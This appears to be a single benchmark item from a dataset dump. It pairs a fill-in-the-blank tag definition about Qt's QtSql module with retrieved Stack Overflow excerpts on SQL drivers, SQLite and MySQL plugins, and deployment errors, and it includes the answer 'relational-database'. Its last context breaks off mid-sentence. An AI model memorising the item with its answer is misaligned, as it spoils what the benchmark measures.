uid
stringlengths
6
55
question
stringlengths
34
465
context_short
sequence
context_long
sequence
tags
sequence
answer
stringlengths
1
25
relation
stringclasses
1 value
qtsql@relational-database@94
qtsql -- questions related to qtsql module a collection of qt classes that work with various @placeholder management systems .
{ "confidence": [ 50.14999771118164, 44.19219207763672, 41.596038818359375, 41.456233978271484, 39.74488830566406, 38.079402923583984, 37.55418395996094, 36.98491287231445, 36.300724029541016, 35.67314147949219, 33.34251403808594, 33.34251403808594, 33.124603271484375, 30.936250686645508, 29.574974060058594, 29.433570861816406, 26.10187530517578, 25.513450622558594, 24.094154357910156, 22.5765380859375, 22.447757720947266, 22.444351196289062, 21.804363250732422, 21.52455711364746, 21.47850799560547, 21.34778594970703, 21.01660919189453, 21.01660919189453, 21.01660919189453, 20.867721557617188, 20.59310531616211, 20.183917999267578, 20.183917999267578, 20.183917999267578, 19.790420532226562, 19.73106575012207, 19.70346450805664, 19.7020206451416, 19.7020206451416, 19.366806030273438, 19.366806030273438, 19.209178924560547, 19.05583953857422, 18.983924865722656, 18.983924865722656, 18.983924865722656, 18.983924865722656, 18.983924865722656, 18.96430015563965, 18.710283279418945, 18.70209503173828, 18.65506362915039, 18.5772705078125, 18.550586700439453, 18.550586700439453, 18.550586700439453, 18.447011947631836, 18.447011947631836, 18.447011947631836, 18.447011947631836, 18.447011947631836, 18.272315979003906, 18.052215576171875, 18.052215576171875, 18.052215576171875, 18.052215576171875, 18.052215576171875, 18.052215576171875, 18.052215576171875, 18.052215576171875, 18.052215576171875, 17.914201736450195, 17.88943862915039, 17.88943862915039, 17.88943862915039, 17.88943862915039, 17.88382911682129, 17.852733612060547, 17.67892074584961, 17.67892074584961, 17.67892074584961, 17.456098556518555, 17.456098556518555, 17.2654972076416, 17.2654972076416, 17.261089324951172, 16.957727432250977, 16.957727432250977, 16.957727432250977, 16.957727432250977, 16.819713592529297, 16.81863021850586, 16.797208786010742, 16.797208786010742, 16.797208786010742, 16.797208786010742, 16.797208786010742, 16.797208786010742, 16.797208786010742, 16.797208786010742 ], "content": [ "qt-project.org doc qt-5.1 qtsql qsqldatabase.html addDatabase http : qt-project.org doc qt-5.1 qtsql qsqldatabase.html addDatabase", "Maybe there is an alternative driver for QtSql that supports it", "Did not fully read the QtSQL documentation : thanks", "However together with the QtSql module I always get the error message above .", "I have a Qt program that makes use of QtSql I have included the headers include QtSql QtSql and even ran Run QMake and rebuild however it throws the following linker errors : .. . .. . I didn t perform any special steps to set up QtSql nor did I install the SQLite drivers as my understanding is that their already included with the Qt install .", "I m wondering does QtSql + Sqlite support QSqlQuery : : size function", "Thanks I ve filed an issue https : bitbucket.org anthony tuininga cx-freeze issue 65 add-hook-for-qtsql to copy the plugins automatically when QtSql is used .", "I m using QTSql library and SQLite as database .. . .. . Sorry for my bad english .", "Good this is about debugging so let us get Qt specific.. . .. . .. . 2 You are using the QtSql module to handle the database interaction which is good in a Qt application .", "How can I execute the following query using the QtSql library", "i m looking for a way to retrieve real database type name from qtsql model .", "I am trying to update the table column by appending with new data of QtSQl database .", "Anyway I ve built my own interface on top of QtSQL to retrieve that information from database because i needed a way to work with multiple drivers .", "But i am getting this error : Cannot open include file : QtSql : No such file or directory .", "The reason is relatively straight-forward since the QtSql module provides an abstract interface it ought to be possible to change the database storage mechanism on the fly without rebuilding and redeploying your software .", "I can update the table using Python and an Update query and I will go that way if I have to but I would really like to use QtSql if I can just get it to work .", "Yes it must be . . you gonna build it on server in case you publish it on global scale . . QtSQL im not that familiar with it but I think it is an offline database like sqlite . . there is a lot of MySQL-Client Frameworks like MySQLdb .", "BTW all projects using SQL Qt module .", "So if your plugin was compiled with Qt 4.x.y then it will work with Qt versions 4.z .", "You seem to be either missing the mysql plugin on your Windows or the proper mysql installation itself in which case you will need to get that done by installing all the necessary mysql libraries on your system where the plugin QtSql driver can recognize it .", "PS : I m using the Qt Developer Tools Qt SDK + Qt Creator downloaded straight from Nokia .", "I have tried this http : qt-project.org doc qt-4.8 itemviews-spinboxdelegate.html but it doesn t work for the application crashes .", "BTW : A Google-query for qt sqlite QSqlQuery size had this http : stackoverflow.com questions 2311218 select-from-sqlite-with-qt StackOverflow question as first answer .", "I would like to avoid having to compile Qt from source cause this will have to work seamlessly on the deploy machines as well .", "but not with : placeholders http : stackoverflow.com questions 20786003 qt-qsqlquery-bindvalue-works-with-but-not-with-placeholders", "QDataStream http : qt-project.org doc qt-4.8 qdatastream.html QBuffer http : qt-project.org doc qt-4.8 qbuffer.html QByteArray http : qt-project.org doc qt-4.8 qbytearray.html and QStringList http : qt-project.org doc qt-4.8 qstringlist.html reference .", "And if I build Qt from source how would I deploy my application that now depends on a custom build of Qt", "You can also force specific paths by using a qt.conf file http : doc.qt.io qt-5 qt-conf.html .", "For more details on plugin directories see How to Create Qt Plugins http : doc.qt.io qt-5 plugins-howto.html .", "Is it Qt bug", "With the reference I thought of the qt docs but since this is generally sql related I am totally satisfied .", "1 QT is a different project .", "2 What Qt version is this", "@FinalContest yes and with Qt as will .", "read about Qt s parent-child concept here : qt-project.org doc qt-4.8 objecttrees.html http : qt-project.org doc qt-4.8 objecttrees.html .. . to your code did you delete the model in the destructor", "I then uninstalled everything python related .", "The Qt Project has the documentation here http : qt-project.org doc qt-5 plugins-howto.html about it .", "I compiled QT first and then realised that I need mysql as well .", "Building Qt from the sources is not hard it just takes a while .", "QSqlDatabase : : database http : qt-project.org doc qt-5 qsqldatabase.html database is a static method you are using an invalid QSqlDatabase .", "doc.qt.io qt-4.8 qsqlquery.html boundValues http : doc.qt.io qt-4.8 qsqlquery.html boundValues", "I m trying to access a MySql database from a Qt application but I get the following error : .. . .. . I find this very strange cause I have libqsqlmysql.so on my Qt folder .", "So the resulting executable may or may not depending on the binary compatibility work even with different versions and builds of Qt although using it with older versions may trigger some bugs that were fixed later .", "Is it possible to get real names using Qt", "Is your table OK without using Qt", "I m running the latest Qt distribution .. . .. . Thanks", "I also faced the same issue with SQLite and Qt .", "I use Qt 4.7.3 and SQLite 3.7.4-2", "Also there is no user management in SQLite so there are no errors either .", "In case you already built it or this step didn t work create a directory in your project called sqldrivers and copy the qsqlodbc.dll from the Qt directory into it .", "It isn t clear why such queries are working fine with Qt 4.8.5 or why they do work with Qt 5.3.1 when using positional parameters using placeholders while they fail with named parameters using : placeholders .", "That being said if you wish to go for singletons you could implement that on top of the Q GLOBAL STATIC http : qt-project.org doc qt-5.1 qtcore qglobalstatic.html Q GLOBAL STATIC or Q GLOBAL STATIC WITH ARGS http : qt-project.org doc qt-5.1 qtcore qglobalstatic.html Q GLOBAL STATIC WITH ARGS macros in Qt .", "I made a software in Qt C++ .", "You should have written this : .. . .. . Provided that you followed the documentation properly about addDatabase http : qt-project.org doc qt-5 qsqldatabase.html addDatabase .", "I m very new to Qt and C++ .. . .. . I m trying to connect to an ODBC db but I m getting the following output .. . .. . How do I load ODBC in Qt .", "lists.qt.nokia.com pipermail qt-interest 2011-July 035068.html http : lists.qt.nokia.com pipermail qt-interest 2011-July 035068.html", "Does Qt still complain about driver not loaded after you got it to load properly with QPluginLoader", "So I compiled mysql plugin by executing following command in QT-DIR src plugins sqldrivers mysql folder .", "Last time I looked at this you needed to rebuild Qt from source and include the appropriate MySQL source .", "@Raphael building Qt from source won t break the binary compatibility unless you use some non-standard configuration .", "The best way of determining that directory is to check the output of QCoreApplication : : libraryPaths http : doc.qt.io qt-5 qcoreapplication.html libraryPaths .", "As far as I know it did not have proper thread-safety in Qt 4 though which was significantly improved in Qt 5 .", "thanks Laszlo i have fixed this by rebuilding the QT mysql driver .", "I am new to Qt any one have great ideas about this", "Did you add QT + sql to your .pro file", "As BaCaRoZzo pointed out I needed to place QT + sql-in the .pro file", "See for instance QSqlDatabase http : doc.qt.io qt-5 qsqldatabase.html", "Develop and test your SQL before using it in Qt C++ code .", "I run my program on another computer without qt installed .", "I believe that Qt also cannot load the plugin due to this error .", "The problem is mostly blamed on Qt using ancient sqlite headers in its distribution .", "That s the general rule for any module .", "Note that this was also public in Qt 4 although undocumented .", "I ve checked this with sqlbrowser supplied as Qt demo application .", "@LaszloPapp my question is why Qt print that warning.. .", "possible duplicate of Qt QSqlQuery bindValue works with", "http : stackoverflow.com questions 26673955 is-this-the-safe-way-to-use-qsql-data-base-in-qt .. . .. . After I have done some research and asked some of my friends .", "I m using QT Qt 5.2.1 with mingw windows-7 i just downloaded QT and installed it and trying it for first time i don t know how to use another version of QMYSQL3 its the default one when i change the query to normal query without prepare and bindValue its excuting without errors .", "Searching for something like sqldrivers or plugins in the strace output should also give away the directory where Qt is searching for its plugins and specifically SQL drivers .", "@Raphael No I always used Qt for this and found it very good although it does have its own faults like lack of timezones support in QDateTime .", "well i have had this issue and after a lot of time and different tools i found that QT on windows have not been able to test on Linux .", "It turns out that query strings passed to the constructor of QSqlQuery are executed immediately as per the documentation http : qt-project.org doc qt-5 qsqlquery.html QSqlQuery-2 .", "OK so you seem to be currently using sqlite and Qt 4 so you will need to get the sqlite Qt 4 driver for that .", "Which version of qt are you using", "I use Qt Everywhere 4.8.7", "If you still didn t solve the problem by this point it s time to look at the SQL module source code that actually loads these plugins .", "You refuse to provide a self-contained snippet and you blame Qt", "Note that the code with bindValue works fine with Qt 4.8.5 64-bit .", "That is all Qt code does not deal with the specific drivers itself .", "If that is the case are you using the correct Qt dlls for your compiler", "Install the Libs Include Files Module .", "So when you link statically your users won t be able to use dynamically linked drivers they may already have but will be able to use drivers linked statically into Qt like in Ubuntu .", "Unfortunately .. . .. . Where field is QSqlField type .. . .. . gives me already mapped type to some Qt type .", "I have met a problem stated in this question : Is this the safe way to use qsql data base in Qt", "Please try it in order to find out whether it is a SQL error or qt c++ error .", "I have a QSqlRelationalTable http : doc.qt.io qt-5 qsqlrelationaltablemodel.html model that displays the data in table1 with a foreign key to a field in table2 .", "I cannot find anything similar to this issue on SO or the Qt support forums documentation .", "I think that dynamically linked DLL failing to load SQL drivers of Qt but I dont know how to fix .", "Typically a small example is something anyone can paste into a Qt Creator project and compile .", "Running my app on the clean without Qt installed computer I encountered Driver is not loaded error ." ] }
{ "confidence": [ 64.67575073242188, 50.32721710205078, 50.22325134277344, 50.1492919921875, 46.744712829589844, 46.41294860839844, 46.22670364379883, 46.02730178833008, 40.1617431640625, 39.85035705566406, 37.88837432861328, 37.43430709838867, 34.97268295288086, 33.45874786376953, 28.790016174316406, 28.326053619384766, 25.88525390625, 23.358970642089844, 23.152660369873047, 22.511253356933594 ], "content": [ "Question : I have a Qt program that makes use of QtSql I have included the headers include QtSql QtSql and even ran Run QMake and rebuild however it throws the following linker errors : .. . .. . I didn t perform any special steps to set up QtSql nor did I install the SQLite drivers as my understanding is that their already included with the Qt install . Any ideas I m running the latest Qt distribution .. . .. . Thanks Comment : Did you add QT + sql to your .pro file It is not sufficient to include headers for a certain module you should also specify its usage with the above syntax . Comment : Yep - just did it now and it worked . Did not fully read the QtSQL documentation : thanks .. . Answer : As BaCaRoZzo pointed out I needed to place QT + sql-in the .pro file Comment : That s the general rule for any module . You can check the specific module name to be declared in the documentation of any class at the top in the qmake field . See for instance QSqlDatabase http : doc.qt.io qt-5 qsqldatabase.html", "Question : I m wondering does QtSql + Sqlite support QSqlQuery : : size function Comment : I know its not supported . Maybe there is an alternative driver for QtSql that supports it Comment : I don t think so because the SQlite API does not provide this information see winmerge.org http : winmerge.org and sqlite.org c3ref step.html http : sqlite.org c3ref step.html Comment : True C C++ API doesn t provide it . But look - php.net manual en function.sqlite-num-rows.php http : php.net manual en function.sqlite-num-rows.php . How can PHP folks do it if its not possible : - .. . Answer : No it does t . SQLite is one of the databases for which the size of the query is not directly available . BTW : A Google-query for qt sqlite QSqlQuery size had this http : stackoverflow.com questions 2311218 select-from-sqlite-with-qt StackOverflow question as first answer . Comment : Well I googled it for a while and couldn t find anything precise . Anyway thx for answer . Franky I think its strange sqlite api for PHP has num rows function . Comment : I ran that search today and first result was for this question . Comment : Thanks for this info : -", "Question : I wrote own class extends QSqlDatabase : .. . .. . but open returns False and lastError doesn t show anything . What is my mistake Python 3.3 PyQt 5 Comment : Print out the value of QSettings .value DB PATH it may not be what you think it is . Comment : C : Users User YandexDisk Projects Strains db.sqlite - full path Comment : Have you tried using the recommended constructor method qt-project.org doc qt-5.1 qtsql qsqldatabase.html addDatabase http : qt-project.org doc qt-5.1 qtsql qsqldatabase.html addDatabase Comment : I have nothing changed . open in False path is good error is empty Comment : Have you opened the database using the sqlite command-line tools to prove it is a valid database .. . Answer : I have found the problem . I don.t know why but method addDatabaseName doesn t accept full path . When I wrote relative-path only db.sqlite database connected successfully . Does anybody know why Comment : Have to ask the obvious question : that is the correct full path I.e . dir of that path works", "Question : I m wondering does QtSql + Sqlite support QSqlQuery : : size function Comment : I know its not supported . Maybe there is an alternative driver for QtSql that supports it Comment : I don t think so because the SQlite API does not provide this information see winmerge.org http : winmerge.org and sqlite.org c3ref step.html http : sqlite.org c3ref step.html Comment : True C C++ API doesn t provide it . But look - php.net manual en function.sqlite-num-rows.php http : php.net manual en function.sqlite-num-rows.php . How can PHP folks do it if its not possible : - .. . Answer : I also faced the same issue with SQLite and Qt . As a solution I used .. . .. . to identify the query returns values or not . But be careful it directs you to the first record . And if you need the no of records exactly then this is not a solution .", "Question : null .. . Answer : my python application looks like : .. . .. . test.py .. . .. . If i run this application everything works fine . However if I create an executable with cx-freeze I always get the following error : .. . .. . QSqlDatabase : QODBC driver not loaded .. . .. . QSqlDatabase : available drivers : .. . .. . I use the following command to create the executable : .. . .. . C : Python27 Scripts cxfreeze.bat test.py --target-dir C : Test --include-path C : Python27 Lib site-packages PyQt4 .. . .. . If I look into C : Test the location where cx-freeze created the executable I see a bunch of .dll files with the word sql-in it qsqlodbc4.dll QtSql4.dll.. . .. . .. . In the past I created a few PyQT applications with cx-freeze and it always worked really well . However together with the QtSql module I always get the error message above . My operating-system : Windows 7 .. . .. . Do you guys have any ideas on how to resolve the problem edit : Okay I got it . I copied the contents of PyQt4 plugins sqldrivers to C : Test sqldrivers and now it works . Kind Regards .. . .. . Bernhard Comment : Thanks I ve filed an issue https : bitbucket.org anthony tuininga cx-freeze issue 65 add-hook-for-qtsql to copy the plugins automatically when QtSql is used .", "Question : How can I execute the following query using the QtSql library I tried the following code but that returns a bool . .. . Answer : The exec function does execute the query that s what it return-value says . To read the returned value navigate to the first returned row then get the value from the first column : .. . .. . The documentation http : qt-project.org doc qt-4.8 qsqlquery.html might be helpful .", "Question : i m looking for a way to retrieve real database type name from qtsql model . Unfortunately .. . .. . Where field is QSqlField type .. . .. . gives me already mapped type to some Qt type . Is it possible to get real names using Qt .. . Answer : i found a way to retrieve the real database type with following query : .. . .. . As a result you will get : .. . .. . thanks to this post : Getting the type of a column in SQLite http : stackoverflow.com questions 11753871 getting-the-type-of-a-column-in-sqlite .. . .. . Hope this helps Comment : I m aware of using sqlquery to retrieve data from base but i was trying to get it without actually using SQL . Anyway I ve built my own interface on top of QtSQL to retrieve that information from database because i needed a way to work with multiple drivers . Every driver has it s own class to get this data . For MySQL it is not that simple as it is in SQLite . Thx for trying Comment : Oh I see my answer was short-sighted because I had the same problem but only for sqlite I didn t even think of other drivers : is your solution open-source Comment : Actually it is part on my Engineering Thesis . Small ORM generating C++ DAO based on existing database . Here : github.com Krycho Qubic tree master qubic src QcUtility https : github.com Krycho Qubic tree master qubic src QcUtility database you can find my solution . For now it s only for 1 driver but can be easly extended .", "Question : I m wondering does QtSql + Sqlite support QSqlQuery : : size function Comment : I know its not supported . Maybe there is an alternative driver for QtSql that supports it Comment : I don t think so because the SQlite API does not provide this information see winmerge.org http : winmerge.org and sqlite.org c3ref step.html http : sqlite.org c3ref step.html Comment : True C C++ API doesn t provide it . But look - php.net manual en function.sqlite-num-rows.php http : php.net manual en function.sqlite-num-rows.php . How can PHP folks do it if its not possible : - .. . Answer : No it doesn t . However you can use last and at together to get the result .", "Question : I made a software in Qt C++ . I need to deploy it on Windows 7 64 bit which is also the host machine on which I developed the software . The problem is that my software can interact with the sqlite database on the developed machine but when I try to deploy my software on some other machine it can t interact with the database there . I tried to use Run as Administrator too but it did not help . I also tried to use the compatibility-mode as well . The database is located locally at C : Users username Desktop db1.sqlite thus no networking or internet is required for my software to run properly . I have also included the QtGui4 QtCore and QtSql4 dlls with my software . Can someone point out what might be going wrong here Comment : Mate i said software can talk to db on developed machine . talk means can perform db operations such as open read delete etc . Every fault doesn t need to be in code . When i said it is performing as expected on the developing machine means the code is perfect . Comment : Yup i ran Dependency Walker before deploying my software . I have included QtSql4.dll in the exe folder itself.Do i need to put it in a separtae folder sqldrivers inside the exe folder Comment : I edited the question and submitted a detailed answer so that it can become a proper canonical for this type of issue in the future . Comment : possible duplicate of How to deliver sqlite driver to the end user http : stackoverflow.com questions 6326274 how-to-deliver-sqlite-driver-to-the-end-user Comment : @hyde : I was thinking about closing it as dupe but then I decided it might make more sense to close that as a dupe of this since I submitted an elaborate answer which could have been done there too admittedly but in a low-volume tag like this which is a shame it would hardly reach the other answers level let alone being accepted . .. . Answer : Right so there are a couple of things here to be discussed before providing a solution namely : .. . .. . 1 When you develop software on a Windows machine and it works like a charm but not on the machines onto which you have deployed your software the first thing to check is the dependencies . Are they all shipped properly How would I go around to check it Well that is the purpose of the freely available dependency-walker http : www.dependencywalker.com . You have to run on the machine onto which you deployed the software in other words after the deployment . Do not run it on the development-machine if it works there . Good this is about debugging so let us get Qt specific.. . .. . .. . 2 You are using the QtSql module to handle the database interaction which is good in a Qt application . However the main dynamic library aka . QtSql4.dll is about the abstracted functionality . That is all Qt code does not deal with the specific drivers itself . You could ask that why is it done so The reason is relatively straight-forward since the QtSql module provides an abstract interface it ought to be possible to change the database storage mechanism on the fly without rebuilding and redeploying your software . What if the end user decides to use another database one day It would not be possible with out this . Right we are approaching a generic design principle here which is called Plugin Architecture . The Qt Project has the documentation here http : qt-project.org doc qt-5 plugins-howto.html about it . Now we are very close to the solution so let us get one step further to the end . 3 This could have been the too long do not read part : when you deploy your application you will need to get your end users to have the plugins too . That means you need to ship both types of sqls in this context the QtSql4.dll as well as the specific driver plugin . You are apparently missing the later . Therefore prepare for that to be shipped . But what second right OK so you seem to be currently using sqlite and Qt 4 so you will need to get the sqlite Qt 4 driver for that . You can check the Qt SQL Database drivers here yourself : .. . .. . SQL Database Drivers http : qt-project.org doc qt-5 sql-driver.html .. . .. . Depending on which sqlite version you are using you have two options : .. . .. . QSQLITE2 SQLite version 2 http : qt-project.org doc qt-5 sql-driver.html qsqlite2 .. . .. . QSQLITE SQLite version 3 http : qt-project.org doc qt-5 sql-driver.html qsqlite .. . .. . Basically this is how you would build the driver yourself if you have to do that : .. . .. . Once you have that dll which I am sure you already do if you have the program working on Windows already copy qsqlite4.dll QTDIR plugins sqldrivers into a sqldrivers directory beside your application the executable . It will be picked up automatically then without any hassle by Qt unless you mess with the paths manually which you ought to not be doing . 4 That being said this is completely generic an approach so this will work for any SQL type if you replace sqlite with the one you need . Comment : This is deserves to be in the Supporting Answer category.Thank you for the explanation.It needs to be appreciated . Comment : @user3855415 The normal way to appreciate an answer at SO is to upvote it . Comment : @hyde : he does not have enough reputation for that I think . He needs 15 at least .", "Question : This is my situation requests are made through the browser to my application . Each request is handled by a different thread and in some cases these requests include INSERT UPDATE DELETE in a sqlite database . What I do not understand is how to manage the connection to the db . For each thread I have to use a new connection and thus open-close connection making sure that there are never two connections with the same name Or should I create a single connection to the DB and I have to use a mutex to avoid concurrency issues I m using QTSql library and SQLite as database .. . .. . Sorry for my bad english . .. . Answer : Connections can only be used from within the thread that did the creation . So I would highly discourage from using a single connection . It also depends on the database driver if it allows concurrent operations . If you are using transactions you have to keep in mind that transactions for SQLite are not thread-safe in Qt by default DEFERRED mode . You can init a thread safe transaction manually as far as I know BEGIN IMMEDIATE TRANSACTION query . Comment : But what happens when two different connection to same database will edit the same data I have to use mutex to avoid concurrency Comment : Please read this post : stackoverflow.com questions 1680249 http : stackoverflow.com questions 1680249 how-to-use-sqlite-in-a-multi-threaded-application", "Question : null .. . Answer : I have a PYQT form that I load from a sqlite table . The QLineEdits load fine and the navigation buttons let me move through the table but I am unable to update . The code that loads the form is : .. . .. . class MyForm QtGui.QWidget : .. . .. . The code to move next and update is : .. . .. . I don t get any error message but the table doesn t update . I have used a print statement with debug and the self.ui.txtEmail2.text is holding the changed text value . I can update the table using Python and an Update query and I will go that way if I have to but I would really like to use QtSql if I can just get it to work . Any help will be greatly appreciated . Thanks", "Question : Operating System : win7 compiler : mingw4.8 come with Qt5.2 link-to : Fedora core release 5 kernel 2.6.15-1.2054 FC5 smp on an i686 .. . .. . messages .. . .. . QSqlDatabase : QMYSQL driver not loaded QSqlDatabase : available drivers : QSQLITE QMYSQL QMYSQL3 QODBC QODBC3 QPSQL QPSQL 7 The shared library was not found . drivers : QSQLITE QMYSQL QMYSQL3 QODBC QODBC3 QPSQL QPSQL7 .. . .. . Driver not loaded Driver not loaded .. . Answer : You seem to be either missing the mysql plugin on your Windows or the proper mysql installation itself in which case you will need to get that done by installing all the necessary mysql libraries on your system where the plugin QtSql driver can recognize it . The plugin should be available under the plugins sqldrivers folder as a dll . You could also put it into an sqldrivers folder beside your application so somethiing like this : .. . .. . You would need to grab it somehow or build it yourself . This is the explanation from the documentation how to do so : .. . .. . How to Build the QMYSQL Plugin on Windows http : qt-project.org doc qt-5 sql-driver.html how-to-build-the-qmysql-plugin-on-windows .. . .. . You need to get the MySQL installation files . Run SETUP.EXE and choose Custom Install . Install the Libs Include Files Module . Build the plugin as follows here it is assumed that MySQL is installed in C : MySQL : .. . .. . If you are not using a Microsoft compiler replace nmake with make in the line above . There is another problem with your code though . You should be using 127.0.0.1 instead of localhost for mysql databases .", "Question : It might be a duplicate question but the founded answers haven t solved my problem . I am trying to create a client-server application in QT where the client sends to the server a String message code and the server has to connect to the sql-server database and retrieve data relative to the client s message code . Below is the server part I ve written so far . But i am getting this error : Cannot open include file : QtSql : No such file or directory . When i make separate projects and run the database part it works perfect but when i put them together it fails . Anyone has some suggestions to can solve this problem ServerSocket.pro .. . .. . ServerSocket.h .. . .. . ServerSocket.cpp Comment : Which OS is this Which compiler Have you checked the include path with VERBOSE 1 Comment : OS - Windows 7 Compiler MSVC 2012 Comment : Try to run qmake with the -d option to see if the includepath gets set but I think you should try it clean because I cannot reproduce the issue . Do you have SQL installed properly like any other modules by the official qt-installer Comment : Yes everything it is installed properly . If i run a separate project where i executea query to the sql database i don t get any error . Comment : @LaszloPapp i solved the problem : right-click on the project solution name and click the Run qmake option rebuild and run the application . It works just fine . Can you formulate an answer to can accept it Thank you .. . Answer : This all seems to be fine to me . Make sure that qmake is re-run properly . It has to be done explicitly unfortunately because it is not yet automatically recognized when it should be re-run when you modify the project files . Comment : When in doubt I save-all close Qt Creator and nuke all build folders and .user files before re-loading Qt Creator . That takes care of almost everything . Be careful with keeping open consoles that have loaded environment-variables from scripts .", "Question : I am trying to update the table column by appending with new data of QtSQl database . I need to update the column imgpath by appending with new data . Below is the code but it always fails what could be the issue . Update : .. . .. . Complete code : Comment : What is the error reported . Your queries look ok . I ran them on a test db and they are all correct . Comment : Hi Thanks for the comment the code qDebug db.lastError giving me the output QSqlError seems no error printing . Comment : The table is unchanged after the update You have a record with id 1 Comment : Yes I have record with id 1 I will post the complete code . Comment : Is this mysql or sqlite Your code says QSqlDatabase : : addDatabase QSQLITE . .. . Answer : SQLite doesn t support the concat function . If you remove .. . .. . and replace it with standard colName Value syntax I m betting that everything will start working . If you want to append text to the current value you should be able to do it with something like the following syntax :", "Question : Edit : Repost with new code and clear question : in the code below you can add and save properly and the question is : I need to do the same but without submitting data to database on row change I need to be able to add new contact record master and insert phones to table details without submitting with each record I insert and submitting only when click save .. . .. . -------------old question ------------------- .. . .. . I want to create a form to show master details data using QtSql and PyQt so below code is a sample of what I want to do I need to be able to insert new phones under the contact and save it .. . .. . I read the book of Rapid GUI Programming with Python and Qt but didn t find how to do so so I posted this question with full working example which I need to be modified to work as desired .. . .. . Edit : Actually I don t know why I got down vote is the question isn t clear Comment : If you float your mouse pointer over the downvote icon you will see a tooltip : This question does not show any research effort it is unclear or not useful . That s probably why someone downvoted you . Comment : Thanks tom I will refine it .. . Answer : you need to set the value for the foreign key column contact id in the new row . I have update your code as following : .. . .. . 1- Add new field to hold contact id and added to layout .. . .. . 2- Update the mapping to fill txtId .. . .. . 3- Update add record method to fill contact id in phone model Comment : This was flagged VLQ but I m not sure.. . Neither the question nor this makes any sense to me nor I see any connection between them . At second glance since there is no problem statement this looks like a random guess . Comment : May my question is not clear I already done like you say and added code to view phones when clicking on some contact and also save new phones and everything works fine except when I add new contact I can t then add new phones until I close the form and reopen it otherwise I have to relink phones model to contacts model and populate it with data and submitting data OnRowChange Comment : this is exactly what I do and it works as long as the current contact record is already saved but if I just inserted a new contact the phones model setData is not working until I repopulate it with data and set relation to contacts model again which means I have to save each phones record and can t save on demand if you didn t my point I can submit some full code to show you Comment : I think what you want is manual submit . Than change EditStrategy to QSqlTableModel : : OnManualSubmit for both model self.contacts model.setEditStrategy QSqlTableModel.OnManualSubmit . for more information refer to documentation http : doc.qt.io qt-4.8 qsqltablemodel.html EditStrategy-enum", "Question : I am working on my Python project using PySide as my Ui language . My projet is a game which require an internet-connection to update the users score and store in the database . My problem is how can I store my database in the internet . I mean that all users can access this information when they are connected to an internet when they are playing my game and the information database must be updated all the time . I am not sure which database is the most appropriate how to store this information database in the internet how to access this information . I am using Python and PySide . For the database I currently use PySide.QtSql . Thank you for answer s or suggestion s . .. . Answer : I m not familiar with PySide . . but the idea is .. . .. . you need to build a function that when internet-connection is available it should synchronize your local database with online database and in the server-side you need to build a script that can handle requests POST GET to receive the scores and send it to database and I suggest MySQL . . .. . .. . Hope that helps Comment : Thank you for your answer . Is it mean that the server-side must be online all the time @mustafa96m Comment : Yes it must be . . you gonna build it on server in case you publish it on global scale . . QtSQL im not that familiar with it but I think it is an offline database like sqlite . . there is a lot of MySQL-Client Frameworks like MySQLdb . but it s not recommended to use for direct connection I mean like this will put you under many security issues . . so there is an alternative way to use mysql in way which is much secure by building a server-side script as Data Handler and each time you want to update a score you send from your local application as a HTTP Request GET POST to the server script Comment : It seems confusing because I am not familiar with the internet-connection in Python . Thank you for your answer . I hope that I can understand this soon . : Comment : No problem bro . .", "Question : I have one class called Load which is loading data from database . Another class is to show the data in a table . In the function I am returning QSqlQueryModel which is : At the moment is just basic because I was not able to compile it : .. . .. . definition in header file as : .. . .. . In the other class I receive it as : .. . .. . definition of this one is : .. . .. . The error is : .. . .. . PersistenceAdapter.cpp : 66 : 48 : error : conversion from QSqlQueryModel to non-scalar type QSqlQueryModel requested usr include qt4 QtCore qabstractitemmodel.h : In copy-constructor QSqlQueryModel : : QSqlQueryModel const QSqlQueryModel : usr include qt4 QtCore qabstractitemmodel.h : 360 : 5 : error : QAbstractTableModel : : QAbstractTableModel const QAbstractTableModel is private usr include qt4 QtSql qsqlquerymodel.h : 59 : 20 : error : within this context PersistenceAdapter.cpp : In member function QSqlQueryModel PersistenceAdapter : : loadServerList : PersistenceAdapter.cpp : 70 : 12 : note : synthesised method QSqlQueryModel : : QSqlQueryModel const QSqlQueryModel first required here .. . .. . Appreciate if anyone can help me with that.. . Comment : First of all if you re allocating the QSqlQueryModel dynamically you are receiving a pointer to it aren t you So QSqlQueryModel model new QSqlQueryModel . Then you should return a reference or a pointer to the model and not try to copy it on the return which seems to be prohibited . Comment : Please don t edit your question with a new problem when your original problem is fixed . It renders the posted answer s useless . Create a new question instead but only after you ve given the new problem a attempt on your own . Comment : Well I just asked another question.. . .. . Answer : usr include qt4 QtCore qabstractitemmodel.h : 360 : 5 : error : QAbstractTableModel : : QAbstractTableModel const QAbstractTableModel is private .. . .. . That error message means that you are trying to copy a QObject which does not quite have the value semantics but more like identity . QObjects are inherently not copyable . The reason is that what would you do with the parent-child hierarchy in such cases This gives you some hint that you are trying to misuse your QObject subclass instance i.e . declaring it as a stack object rather than heap . This is the problematic place in your code : .. . .. . This seem to be missing the start as follows : .. . .. . It seems that you are trying to allocate the object on the heap as opposed to the stack and that is good so it is just a typo probably . One additional note is that please make sure that it will not leak memory i.e . either set a parent directly or indirectly for it or use smart-pointers . I would suggest the former . That will guarantee that your pointer is automatically deleted when the parent gets deleted . Comment : I changed it to allocate heap but now I get segmentation-fault Comment : @Bernard : in setServersList Comment : yes exactly there . Comment : @Bernard : OK well you have not shown the code yet . Comment : @Laslzo Papp : I just edited the code .", "Question : I m trying to access a MySql database from a Qt application but I get the following error : .. . .. . I find this very strange cause I have libqsqlmysql.so on my Qt folder . I have even tried to compile the MySql driver as a static plugin and add it to my .pro file as : .. . .. . But this also generates the same runtime-error it must ve found the plugin cause there s no error compiling the application .. . .. . What am I missing I would like to avoid having to compile Qt from source cause this will have to work seamlessly on the deploy machines as well . BTW : Even though I m developing and testing on Linux I will need to support Windows . Will I experience this same issue on Windows How can I compile and link the MySql driver in both Linux and Windows The solution : .. . .. . After following @Sergey s recommendations I did an strace of the application redirecting the output to grep so I could search for mysql and for my surprise the application wasn t looking for the plugin at QTDIR plugins sqldrivers where I had libqsqlmysql.so it was looking at QTDIR lib . After copying the plugin to the lib folder the MySql connection worked . .. . Answer : I was experiencing this same issue as well . I ve been installing and experimenting with a lot of different Python tools and UIs . I then uninstalled everything python related . I did a fresh install of Python 3.2 PyQT 3.2 and Eric5 . No more errors with the QMySQL driver .", "Question : I m trying to access a MySql database from a Qt application but I get the following error : .. . .. . I find this very strange cause I have libqsqlmysql.so on my Qt folder . I have even tried to compile the MySql driver as a static plugin and add it to my .pro file as : .. . .. . But this also generates the same runtime-error it must ve found the plugin cause there s no error compiling the application .. . .. . What am I missing I would like to avoid having to compile Qt from source cause this will have to 